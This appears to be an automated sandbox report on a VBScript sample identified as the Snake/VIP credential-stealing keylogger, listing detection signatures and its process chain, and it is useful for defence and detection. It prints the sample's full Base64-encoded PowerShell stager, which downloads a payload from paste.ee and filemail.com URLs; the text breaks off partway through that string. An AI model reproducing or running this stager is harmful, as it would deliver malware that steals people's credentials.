Windows
Analysis Report
jjmax il.vbs
Overview
General Information
Detection
Snake Keylogger, VIP Keylogger
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: MSBuild connects to smtp port
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
Connects to a pastebin service (likely for C&C)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Potential malicious VBS script found (suspicious strings)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Silenttrinity Stager Msbuild Activity
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6416 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\jjmax il.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 6140 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -NoProfile -Command "[System.T ext.Encodi ng]::Unico de.GetStri ng([Conver t]::FromBa se64String ('JABhAGQA agBvAHUAcg BuAG0AZQBu AHQAIAA9AC AAJwAwAC8A bQBtAFkAWA BSAHkAWABR AC8AZAAvAG UAZQAuAGUA dABzAGEAcA AvAC8AOgBz AHAAdAB0AG gAJwA7ACQA cABlAG4AdA BhAGQAaQBj ACAAPQAgAC QAYQBkAGoA bwB1AHIAbg BtAGUAbgB0 ACAALQByAG UAcABsAGEA YwBlACAAJw AjACcALAAg ACcAdAAnAD sAJABmAGEA cgBhAGQAaQ B6AGUAIAA9 ACAAJwBoAH QAdABwAHMA OgAvAC8AMw AwADAANQAu AGYAaQBsAG UAbQBhAGkA bAAuAGMAbw BtAC8AYQBw AGkALwBmAG kAbABlAC8A ZwBlAHQAPw BmAGkAbABl AGsAZQB5AD 0AbgBJAHgA XwA1AFQAMA BMAHgASABP AEIAagBpAG wATgBiADkA QwBSAHYAaQ BhAGIAUABq AHIAVwAyAG QAbABDAC0A TAB4AGUATw BkAEoAUABG AF8AWgBfAD EATQBQADYA QwB1AFEAQg BTADUASwBj AHAAdABBAC YAcABrAF8A dgBpAGQAPQ AzADQAMgA4 ADAAMwBkAD EAYwBjADQA ZQAzAGIAOA AwADEANwAz ADkAMwA1AD kAMgAwADMA YgA1AGYAZQ A5AGQAJwA7 ACQAZQBvAG wAaQBhAG4A IAA9ACAATg BlAHcALQBP AGIAagBlAG MAdAAgAFMA eQBzAHQAZQ BtAC4ATgBl AHQALgBXAG UAYgBDAGwA aQBlAG4AdA A7ACQAYwBh AHIAbwB0AG kAYwAgAD0A IAAkAGUAbw BsAGkAYQBu AC4ARABvAH cAbgBsAG8A YQBkAEQAYQ B0AGEAKAAk AGYAYQByAG EAZABpAHoA ZQApADsAJA BoAHkAZQB0 AG8AbQBlAH QAcgBvAGcA cgBhAHAAaA AgAD0AIABb AFMAeQBzAH QAZQBtAC4A VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KAAkAGMAYQ ByAG8AdABp AGMAKQA7AC QAbABhAHUA bgBkAGUAcg BlAHIAIAA9 ACAAJwA8AD wAQgBBAFMA RQA2ADQAXw BTAFQAQQBS AFQAPgA+AC cAOwAkAHMA ZQBtAGkAcA BoAHkAbABs AGkAZABpAG EAbgAgAD0A IAAnADwAPA BCAEEAUwBF ADYANABfAE UATgBEAD4A PgAnADsAJA BjAG8AbgBm AGUAYwB0AG kAbwBuAGUA cgBzACAAPQ AgACQAaAB5 AGUAdABvAG 0AZQB0AHIA bwBnAHIAYQ BwAGgALgBJ AG4AZABlAH gATwBmACgA JABsAGEAdQ BuAGQAZQBy AGUAcgApAD sAJABmAHIA YQBjAHQAaQ BvAG4AYQB0 AGkAbgBnAC AAPQAgACQA aAB5AGUAdA BvAG0AZQB0 AHIAbwBnAH IAYQBwAGgA LgBJAG4AZA BlAHgATwBm ACgAJABzAG UAbQBpAHAA aAB5AGwAbA BpAGQAaQBh AG4AKQA7AC QAYwBvAG4A ZgBlAGMAdA BpAG8AbgBl AHIAcwAgAC 0AZwBlACAA MAAgAC0AYQ BuAGQAIAAk AGYAcgBhAG MAdABpAG8A bgBhAHQAaQ BuAGcAIAAt AGcAdAAgAC QAYwBvAG4A ZgBlAGMAdA BpAG8AbgBl AHIAcwA7AC QAYwBvAG4A ZgBlAGMAdA BpAG8AbgBl AHIAcwAgAC sAPQAgACQA bABhAHUAbg BkAGUAcgBl AHIALgBMAG UAbgBnAHQA aAA7ACQAcw BoAGUAZQBy AGwAZQBzAH MAIAA9ACAA JABmAHIAYQ BjAHQAaQBv AG4AYQB0AG kAbgBnACAA LQAgACQAYw BvAG4AZgBl AGMAdABpAG 8AbgBlAHIA cwA7ACQAZw BuAGEAcgBs AGkAZQBzAH QAIAA9ACAA JABoAHkAZQ B0AG8AbQBl AHQAcgBvAG cAcgBhAHAA aAAuAFMAdQ BiAHMAdABy AGkAbgBnAC gAJABjAG8A bgBmAGUAYw B0AGkAbwBu AGUAcgBzAC wAIAAkAHMA aABlAGUAcg BsAGUAcwBz ACkAOwAkAH AAaQBsAHAA dQBsAGkAcw B0AGkAYwAg AD0AIABbAF MAeQBzAHQA ZQBtAC4AQw BvAG4AdgBl AHIAdABdAD oAOgBGAHIA bwBtAEIAYQ BzAGUANgA0 AFMAdAByAG kAbgBnACgA JABnAG4AYQ ByAGwAaQBl AHMAdAApAD sAJABsAG8A YwB1AHMAdA BpAGQAIAA9 ACAAWwBTAH